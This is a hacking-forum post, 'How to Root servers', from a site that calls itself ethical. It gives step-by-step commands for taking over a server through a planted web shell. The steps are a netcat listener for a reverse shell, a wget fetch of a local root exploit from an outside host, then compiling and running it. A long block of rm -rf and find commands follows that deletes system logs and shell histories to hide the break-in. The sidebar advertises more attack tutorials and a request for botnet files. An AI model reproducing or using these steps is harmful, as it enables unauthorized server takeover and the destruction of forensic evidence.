Ethical Experts
Ethical Experts

A Community Dedicated to Helping and Learning . Here You Will Get Hacking Tutorials and Monetizing Methods . We Hope You Have a Pleasant Stay
 
HomeHome  SearchSearch  FAQFAQ  RegisterRegister  Log in  
Still Currently working on the forum design, until I find a perfect design that can sit there for the whole life :p .. Please Bare with us if you see the design change while / after you refresh a page or return ! Sorry for the Inconvenience ~!
Search
 
 

Display results as :
 
Rechercher Advanced Search
Latest topics
» Hack Pack : Largest Hacking Tools Collection
Tue Apr 28, 2015 9:35 am by THE-OUTSIDER

» Hi everyone!
Fri Nov 07, 2014 11:24 pm by zekrum

» Hacking Email ID's
Thu Sep 25, 2014 7:22 pm by NAVEEN KUMAR . S

» entering in a computer binary
Sat Sep 20, 2014 1:29 pm by erosh23

» hi hackers
Sat Sep 20, 2014 1:26 pm by erosh23

» Introduce Yourself !
Sat Sep 20, 2014 1:23 pm by erosh23

» Hello guys
Wed Jul 30, 2014 10:52 pm by RZero67

» need botnet like zues Betabot or any good botnet files please admin help me
Fri Jul 25, 2014 9:44 pm by sire_roktiv

» Extension Spoofer v0.1 [Beta Release]
Fri Jul 11, 2014 9:33 am by The Joker

Most Viewed Topics
Hack Pack : Largest Hacking Tools Collection
HACK WIFI PASSWORD USING CMD WHEN YOU ARE CONNECTED WITH WIFI
Hack Your BroadBand !! RISK FREE !!
How to Hack the Windows Admin Password Using OphCrack in Backtrack tutorial
Hacking With Keyloggers Prorat
How to Get Unlimited time in an Internet Cafe ... :D
How to Hack Websites & Servers - Tutorial
Cracking a WPA/WPA-2 Password.. ;)
Backtrack and Facebook
Credit Card Generating Sequence
Keywords
netcat Windows tools crack pack free ddos gmail admin hacker download prorat file wifi hack password facebook credit backtrack card email phishing internet account hacking page
Facebook Like
Similar topics

Share | 
 

 How to Root servers

View previous topic View next topic Go down 
AuthorMessage
The Joker
Admin
Admin
avatar

Posts : 182
Join date : 2012-06-11
Age : 26

PostSubject: How to Root servers   Fri Nov 02, 2012 6:29 am

Things Required :

1.Netcat
2.Shelled Site
3.local Root Exploit

Tutorial Step by Step :
  • First go to Run & type cmd then type : cd C:\Program Files\Netcat ( Make sure that you Netcat is saved in the following directory)




Now Type : nc -n -l -v -p 443 , then it would show like the image shown below



  • Its time to open your shell & then connect using back connect function in your shell ( Make sure that you are not using any Vpn or Proxy ) . Then after the connection is established you will see something as shown in the screenshot below .







  • So you have successfully connected .. Then now we have to get our Local Root Exploit, like mine is 2.6.18-374 2011




  • In this step we have to upload our exploit in a writable folder, so instead of wasting our time in finding them ..we can just change the directory to the /tmp folder which is a standard writable folder .


Type this command to change dir to /tmp : cd /tmp

  • To upload your your exploit we will use wget function


Type :
Code:
wget http://www.somesite.com/exploit.c

Now this will upload the exploit in the tmp folder



  • Case 1 : if you have uploaded your exploit as .c (exploit.c) the we have to compile it, so to compile it we will type the following command .


Type :
Code:
gcc exploit.c -o exploit

Keep in mind in the above command exploit refers to the name of your exploit (exploit.c) .so if its properly compiled with no errors & warning then you can proceed or if you get an error then find another exploit.

Case 2: If you have uploaded your exploit in a zip file then you have to unzip it by typing the below command .

Type:
Code:
unzip exploit.zip


  • After we have done all the above steps correctly, its time to give permission so we will type the following command


Type:
Code:
chmod 777 exploit

  • Now its time to run the Exploit, to run the exploit we will type the following command


Type:
Code:
./exploit

Now the exploit will run & the server will be rooted Wink . To check weather we got root we can type

Type:
Code:
id or whoami 


Clearing logs/Traces :

Now its our time to clearing our tracks or Logs . so below are some commands to delete the log files .

rm -rf /tmp/logs
rm -rf $HISTFILE
rm -rf /root/.ksh_history
rm -rf /root/.bash_history
rm -rf /root/.ksh_history
rm -rf /root/.bash_logout
rm -rf /usr/local/apache/logs
rm -rf /usr/local/apache/log
rm -rf /var/apache/logs
rm -rf /var/apache/log
rm -rf /var/run/utmp
rm -rf /var/logs
rm -rf /var/log
rm -rf /var/adm
rm -rf /etc/wtmp
rm -rf /etc/utmp
history -c
find / -name *.bash_history -exec rm -rf {} \;
find / -name *.bash_logout -exec rm -rf {} \;
find / -name "log*" -exec rm -rf {} \;
find / -name *.log -exec rm -rf {} \;

___________________________________________________
Do NOT PM me until you are DONATING or Your Upgrade  hasn't been completed even after you have purchased it .
If is one of the above, you can either choose to PM or mail me ..
Back to top Go down
View user profile http://teamiha.tumblr.com
 
How to Root servers
View previous topic View next topic Back to top 
Page 1 of 1
 Similar topics
-
» Are the Mariokart DS online servers still open?
» Minecraft servers
» ..::Dedicated server Rent With Voip Switch::..
» GameSpy To Shut Down Its Servers ~Might Be The Reason For Nintendo's Wi-Fi Service Closure On May 20th~
» How to hide apps on Android without root by PrivateMe

Permissions in this forum:You cannot reply to topics in this forum
Ethical Experts :: Hacking Section :: Hacking Tutorials-
Jump to: